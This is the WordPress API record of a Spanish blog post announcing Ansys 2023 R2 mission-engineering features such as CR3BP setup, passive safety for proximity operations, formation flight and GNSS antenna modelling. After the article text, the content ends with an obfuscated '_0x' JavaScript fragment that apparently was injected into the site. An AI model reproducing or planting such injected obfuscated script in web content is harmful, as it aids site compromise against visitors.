{"id":1091,"date":"2023-08-22T19:16:03","date_gmt":"2023-08-22T19:16:03","guid":{"rendered":"https:\/\/www.grupossc.com\/blog\/?p=1091"},"modified":"2023-10-02T14:39:07","modified_gmt":"2023-10-02T14:39:07","slug":"novedades-para-la-ingenieria-de-mision-digital-en-ansys-2023-r2","status":"publish","type":"post","link":"https:\/\/grupossc.com\/blog\/2023\/08\/22\/novedades-para-la-ingenieria-de-mision-digital-en-ansys-2023-r2\/","title":{"rendered":"Novedades en la Ingenier\u00eda de Misiones Digitales con Ansys 2023 R2"},"content":{"rendered":"<p>[vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Con el\u00a0lanzamiento de Ansys\u00a02023 R2 , los productos\u00a0de ingenier\u00eda de misi\u00f3n digital\u00a0contin\u00faan desbloqueando capacidades mejoradas de simulaci\u00f3n de sistemas multidominio al enfocarse m\u00e1s en optimizar los flujos de trabajo de modelado y simulaci\u00f3n.\u00a0Desde el avance de la simulaci\u00f3n en \u00f3rbita, el soporte para misiones de naves espaciales cislunares y el modelado de trayectoria ampliado para procedimientos de vuelo, las nuevas capacidades facilitan a\u00fan m\u00e1s la conexi\u00f3n de simulaciones detalladas de misiones multidominio con modelos de sistemas de alta fidelidad y respaldan las crecientes necesidades de dise\u00f1o y prueba. ingenieros<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Adem\u00e1s, la nueva versi\u00f3n fortalece a\u00fan m\u00e1s la conectividad de los artefactos de modelado y simulaci\u00f3n entre\u00a0Ansys Orbit Determination Tool Kit (ODTK)\u00a0y\u00a0Ansys Systems Tool Kit (STK)\u00a0para brindar a los usuarios capacidades din\u00e1micas de vuelo mejoradas.\u00a0Es fundamental dise\u00f1ar y probar estas misiones complejas en condiciones simuladas realistas y encontrar soluciones para garantizar la seguridad del vuelo de los sistemas una vez que hagan la transici\u00f3n a la operaci\u00f3n y el mantenimiento.\u00a0<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Se agreg\u00f3 la herramienta de dise\u00f1o de configuraci\u00f3n del sistema CR3BP<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">A medida que aumenta el inter\u00e9s en torno a las misiones de naves espaciales cislunares y de otros cuerpos m\u00faltiples, los dise\u00f1adores de trayectorias est\u00e1n particularmente interesados \u200b\u200ben planificar y analizar misiones en las inmediaciones de los puntos de libraci\u00f3n (o de Lagrange).\u00a0Estos puntos existen en sistemas que implican el movimiento de una nave espacial en relaci\u00f3n con dos cuerpos gravitantes cuya influencia sobre la nave espacial es aproximadamente equivalente.\u00a0El movimiento de las naves espaciales en la vecindad de estos puntos puede seguir caminos estrat\u00e9gicamente \u00fatiles, incluidas soluciones orbitales particulares en relaci\u00f3n con los puntos.\u00a0Estos movimientos a menudo proporcionan una geometr\u00eda adecuada para im\u00e1genes, mapas, retransmisiones de comunicaciones, soporte de navegaci\u00f3n y otras situaciones en las que una posici\u00f3n relativa constante podr\u00eda ser ideal.\u00a0M\u00e1s importante,<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Un modelo de menor fidelidad adecuado para el dise\u00f1o y an\u00e1lisis de la trayectoria inicial es el Problema de tres cuerpos circular restringido\u00a0<i><\/i>(CR3BP)\u00a0<i>.\u00a0<\/i>Para usar este modelo de manera efectiva dentro de STK, el entorno de software debe configurarse adecuadamente para tener en cuenta sus consideraciones \u00fanicas.\u00a0Con esta \u00faltima versi\u00f3n, la capacidad Astrogator de STK ahora ofrece una herramienta de dise\u00f1o para construir el marco necesario para usar CR3BP en STK.\u00a0La herramienta de dise\u00f1o de configuraci\u00f3n CR3BP est\u00e1 disponible en el navegador de componentes de Astrogator para crear y definir otros componentes para admitir este marco, sirviendo como un mecanismo encapsulado personalizable para configurar STK.\u00a0Proporcionar un flujo de trabajo\/mecanismo simplificado para configurar STK para su uso con el modelo din\u00e1mico CR3BP ahorra tiempo y esfuerzo a los usuarios.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_single_image image=\u00bb1093&#8243; img_size=\u00bbfull\u00bb alignment=\u00bbcenter\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb5&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<p style=\"text-align: center;\"><em>Problema circular restringido de tres cuerpos (CR3BP) simulado en Ansys STK.<\/em><\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Mejora de la seguridad en \u00f3rbita del an\u00e1lisis de vuelo<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Un paso necesario durante la planificaci\u00f3n y el an\u00e1lisis de la trayectoria es garantizar la seguridad del vuelo.\u00a0Cuando la trayectoria se construye en relaci\u00f3n con otro objeto en el espacio, la seguridad del vuelo a menudo se centra en evitar colisiones entre dos objetos.\u00a0Si bien hay varios elementos en este an\u00e1lisis, un componente consiste en verificar que las maniobras perdidas no resulten en una colisi\u00f3n.\u00a0Esto se puede lograr a trav\u00e9s de una evaluaci\u00f3n hipot\u00e9tica para determinar los casos en los que se violar\u00edan las restricciones de seguridad de vuelo.\u00a0Al eliminar tales trayectorias, los resultados pueden considerarse pasivamente seguros, sujetos a las restricciones dadas.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">La herramienta de seguridad pasiva STK est\u00e1 dise\u00f1ada para funcionar en conjunto con la planificaci\u00f3n y el an\u00e1lisis de operaciones de encuentro y proximidad (RPO).\u00a0La herramienta aprovecha las simulaciones de Astrogator y realiza una evaluaci\u00f3n integral frente a los vol\u00famenes de exclusi\u00f3n especificados por el usuario.\u00a0Para cada maniobra en un itinerario de RPO, el movimiento resultante si se pierde alguna maniobra determinada se eval\u00faa en relaci\u00f3n con los criterios de exclusi\u00f3n para determinar si es pasivamente seguro.\u00a0Aquellos involucrados en actividades de trayectoria de movimiento relativo se beneficiar\u00e1n de la eficiencia adicional que representa esta herramienta.\u00a0Deben pasar por an\u00e1lisis de seguridad pasiva en varias etapas de dise\u00f1o, an\u00e1lisis y operaciones, y esta herramienta representa una opci\u00f3n lista para usar para simplificar sus flujos de trabajo.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; 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md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Vuelo en formaci\u00f3n mejorado<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column width=\u00bb1\/2&#8243;][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Para reducir dr\u00e1sticamente el tiempo de c\u00e1lculo para el vuelo en formaciones, la herramienta Aviator presenta un nuevo procedimiento de vuelo en formaci\u00f3n que sigue la maniobra b\u00e1sica de encuentro y propaga las formaciones existentes a trav\u00e9s de un vuelo recto y de giro b\u00e1sico.\u00a0Este nuevo procedimiento reduce el tiempo de an\u00e1lisis para los clientes que realizan vuelos en formaci\u00f3n de largo alcance, proporcionando una reducci\u00f3n del 90% en el tiempo de c\u00e1lculo sobre el procedimiento de encuentro.\u00a0Los clientes que necesitan mantener aeronaves en formaci\u00f3n de vuelo durante largas distancias para usos como el an\u00e1lisis de reabastecimiento de combustible de largo alcance se beneficiar\u00e1n de este nuevo procedimiento.<\/span>[\/vc_column_text][\/vc_column][vc_column width=\u00bb1\/2&#8243;][vc_single_image image=\u00bb1096&#8243; img_size=\u00bbfull\u00bb alignment=\u00bbcenter\u00bb][rs_space lg_device=\u00bb5&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][vc_column_text]<\/p>\n<p style=\"text-align: center;\"><em>Un vuelo en formaci\u00f3n modelado en Ansys STK.<\/em><\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Mejoras en la herramienta de estad\u00edsticas<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">El kit de herramientas de prueba y evaluaci\u00f3n (TETK) ha agregado gr\u00e1ficos de caja y bigotes, as\u00ed como histogramas a las opciones de gr\u00e1ficos existentes proporcionadas a los usuarios para explorar el an\u00e1lisis estad\u00edstico de sus datos posteriores al vuelo.\u00a0La opci\u00f3n Gr\u00e1fico de caja y bigotes ayuda a los usuarios a comprender y medir la dispersi\u00f3n de los puntos de datos y proporciona un cuadro de rango intercuart\u00edlico (IQR) de 1,5 con la mediana, la media, la varianza y el IQR mostrados para uno o varios elementos de datos.\u00a0Adem\u00e1s, la opci\u00f3n Gr\u00e1fico de histograma proporciona la visualizaci\u00f3n de la media, la mediana, la moda y la varianza de los elementos de datos seleccionados por el usuario.\u00a0Esta \u00faltima versi\u00f3n contin\u00faa brindando a los ingenieros y analistas las herramientas de reducci\u00f3n de datos necesarias para comprender completamente y categorizar el rendimiento de sus sistemas bajo prueba.\u00a0Con estas nuevas caracter\u00edsticas.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Flujos de trabajo mejorados para administrar varias pistas<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">TETK ha agregado una serie de funciones para mejorar el an\u00e1lisis de seguimiento para los clientes que importan datos de trayectoria de veh\u00edculos que pueden originarse a partir de sistemas de sensores como radar, l\u00e1ser o sistemas de seguimiento \u00f3ptico.\u00a0Los clientes ahora pueden filtrar puntos asociados con una ID de pista espec\u00edfica y avanzar a trav\u00e9s de ellos para comprender y visualizar mejor los datos asociados con ese objeto individual rastreado.\u00a0Las mejoras de usabilidad adicionales incluyen cambio de unidad, opciones de ajuste de fuente y filtrado de tiempo para controlar c\u00f3mo se representan los datos de la pista.\u00a0Estas mejoras permiten a los usuarios comprender r\u00e1pidamente la relaci\u00f3n entre sus datos de seguimiento y la posici\u00f3n real para evaluar mejor sus datos de prueba y validar el rendimiento del sistema durante los eventos de prueba.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Los clientes que analizan los datos de los sensores disfrutar\u00e1n de una forma m\u00e1s r\u00e1pida e intuitiva de centrarse en los datos m\u00e1s relevantes y personalizar la forma en que se representan para satisfacer sus necesidades.\u00a0Esto es especialmente \u00fatil para los clientes que necesitan analizar el rendimiento del radar y del sistema de mando y control.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb30&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span style=\"color: #000000;\">Centro de fase de la antena GNSS<\/span><\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Con esta \u00faltima versi\u00f3n de ODTK, los usuarios ahora pueden especificar archivos con formato ANTEX disponibles en el\u00a0Servicio GNSS internacional (IGS)<\/span><span style=\"color: #000000;\">\u00a0, que contienen informaci\u00f3n de la antena del Sistema satelital de navegaci\u00f3n global (GNSS) para sat\u00e9lites que pertenecen a constelaciones de navegaci\u00f3n como GPS.\u00a0ODTK ahora utilizar\u00e1 esta informaci\u00f3n, que incluye ubicaciones medias del centro de fase y variaciones en la posici\u00f3n percibida de la antena en funci\u00f3n de la frecuencia de transmisi\u00f3n y la direcci\u00f3n del receptor GNSS, para mejorar la fidelidad del modelado de medici\u00f3n GNSS.\u00a0Para los propietarios y operadores de sat\u00e9lites que conf\u00edan en los datos de seguimiento de los receptores GNSS integrados, este es otro paso para lograr mejores soluciones de determinaci\u00f3n de \u00f3rbita basadas en GNSS.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][rs_space lg_device=\u00bb20&#8243; md_device=\u00bb\u00bb sm_device=\u00bb\u00bb xs_device=\u00bb\u00bb][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]<span style=\"color: #000000;\">Esto proporciona un nivel mejorado de precisi\u00f3n y fidelidad que, de otro modo, podr\u00eda no estar incluido o representado con suposiciones generales o valores de referencia, lo que puede contribuir a la inexactitud en las soluciones orbitales finales.\u00a0Esto beneficiar\u00e1 a cualquier cliente que procese mediciones de fase de portadora de seudodistancia como parte de los datos de seguimiento de su nave espacial.<\/span>[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text dp_text_size=\u00bbsize-4&#8243;]Con el\u00a0lanzamiento de Ansys\u00a02023 R2 , los productos\u00a0de ingenier\u00eda de misi\u00f3n digital\u00a0contin\u00faan desbloqueando capacidades mejoradas de simulaci\u00f3n de sistemas multidominio al enfocarse m\u00e1s en optimizar los flujos de trabajo de modelado y simulaci\u00f3n.\u00a0Desde el avance de la simulaci\u00f3n en \u00f3rbita, el soporte para misiones de naves espaciales cislunares y el modelado de trayectoria ampliado [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-1091","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/1091","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/comments?post=1091"}],"version-history":[{"count":5,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/1091\/revisions"}],"predecessor-version":[{"id":1153,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/posts\/1091\/revisions\/1153"}],"wp:attachment":[{"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/media?parent=1091"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/categories?post=1091"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grupossc.com\/blog\/wp-json\/wp\/v2\/tags?post=1091"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}